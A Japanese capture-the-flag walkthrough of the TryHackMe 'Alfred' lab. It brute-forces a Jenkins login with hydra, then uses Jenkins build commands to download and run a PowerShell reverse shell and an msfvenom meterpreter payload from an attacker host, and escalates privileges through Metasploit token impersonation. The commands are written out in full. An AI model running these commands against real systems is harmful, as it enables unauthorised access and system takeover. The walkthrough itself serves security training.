今回はTryHackMeのAlfredを攻略していきます。
スキャニング
いつもどおり、まずはスキャニングをしてみます。
nmap -sV -sC 10.10.59.231
80, 3389, 8080 の3つのポートが空いてます。そのうち、80と8080はhttpなので、ブラウザでアクセスして確認してみます。
80番ポート
8080番ポートでは Jenkins が動いています。
Jenkinsの初期IDを調査すると admin であることがわかります。いくつかよくあるパスワードを試してみるとパスワードが簡単にわかります。また別パターンとして、hydraを使う方法も説明します。
ここから hydra を使って認証情報を奪取を試みます。
hydraコマンドは作るのが難しいです。全体のコマンドはこちらです。
hydra -l <username> -P <wordlist> <IPaddress> http-post-form <login request pattern>
パラメータは下記を使います
Jenkins の初期IDを調べてみると admin だとわかります。なので、これのパスワードを見つけていきます。また wordlist は rockyou.txt を使います。
項目 | 値 |
username | admin |
wordlist | /usr/share/wordlists/rockyou.txt |
IPaddress | 環境に合わせて設定 |
login request pattern | のちほど説明 |
login request pattern を除いたコマンドを作るとこちらになります。今回は8080番ポートを使うので -s オプションで8080を指定します。
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.59.231 -s 8080 http-post-form <login request pattern>
あとはlogin request patternですが、hydraで一番難しいのがここです。
この部分のフォーマットはこちらです。
"<ログイン フォームへのパス>:<POSTリクエスト本文、マジック文字列 ^USER^ と ^PASS^>:<無効なログインに表示されるパターン>"
ログインフォームへのパスと本文などを取得するためにBurpSuiteを使います。
エラーメッセージは Invalid username or password
login request pattern はこちらです
"/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
最終的なhydraコマンド
hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.59.231 -s 8080 http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password"
初期アクセス
Jenkinsにログインします。その後にprojectを選択します。
Configureを選択します
ビルドコマンドを設定する箇所があります。
コンソールアウトプットから出力結果が見れます。
ビルドコマンドを設定する箇所にリバースシェルをダウンロードして、実行することで侵入を狙います。
- リバースシェルをダウンロードする
- JenkinsからダウンロードできるようにWebサーバを作る
- リバースシェルの待受ポートを作る
- ビルドコマンド設定欄にリバースシェルのダウンロードと実行を行うコマンドを設定する
- ビルドする
リバースシェルをダウンロードします。
wget https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1
Webサーバを作ります
python3 -m http.server
リバースシェルの待受ポートを作る
nc -lnvp 1234
リバースシェルのダウンロードと実行を行うコマンドを設定
powershell iex (New-Object Net.WebClient).DownloadString('http://10.10.103.28:8000/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.103.28 -Port 1234
ビルド実行
リバースシェル完了
ユーザフラグ取得
シェルの切り替え
下記の流れでシェルを切り替えます
- リバースシェルのプログラムを作成する
- JenkinsからダウンロードできるようにWebサーバを作る
- Jenkinsで新規プロジェクトを作成し、リバースシェルのプログラムを実行するコマンドを設定
- ビルドする
リバースシェルのプログラムを作成します。
msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.10.103.28 LPORT=5555 -f exe -o rshell.exe
Webサーバを作ります。
ビルド設定
新規プロジェクトを作成します。
新規プロジェクトの設定で、Buildを設定します
このコマンドは 攻略対象マシンへrshell.exe をダウンロードするコマンドです。
powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.10.103.28:8000/rshell.exe','rshell.exe')"
リバースシェルの待受けポートを作成するため、Metasploitハンドラーの設定を行います。exploit/multi/handler
は、Metasploit Framework に含まれるモジュールの一つで、リモートアクセスペイロード(RAT: Remote Access Tool)のリスナーとして機能します。このモジュールは攻撃者がペイロード(リバースシェルやバインドシェルなど)をターゲットのシステムで実行した後、そのペイロードと接続して制御を得るために使用されます。
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.103.28
set LPORT 5555
run
rshell.exe を攻略対象マシンへダウンロードするためにプロジェクトを実行します。
rshell.exeのダウンロード確認
リバースシェルを行うため、rshell.exeを実行します。
Start-Process "rshell.exe"
whoami /priv
load incognito
list_tokens -g
impersonate_token "BUILTIN\Administrators"
getuid
ps
migrate XXX
TryHackmeのAlfredを攻略する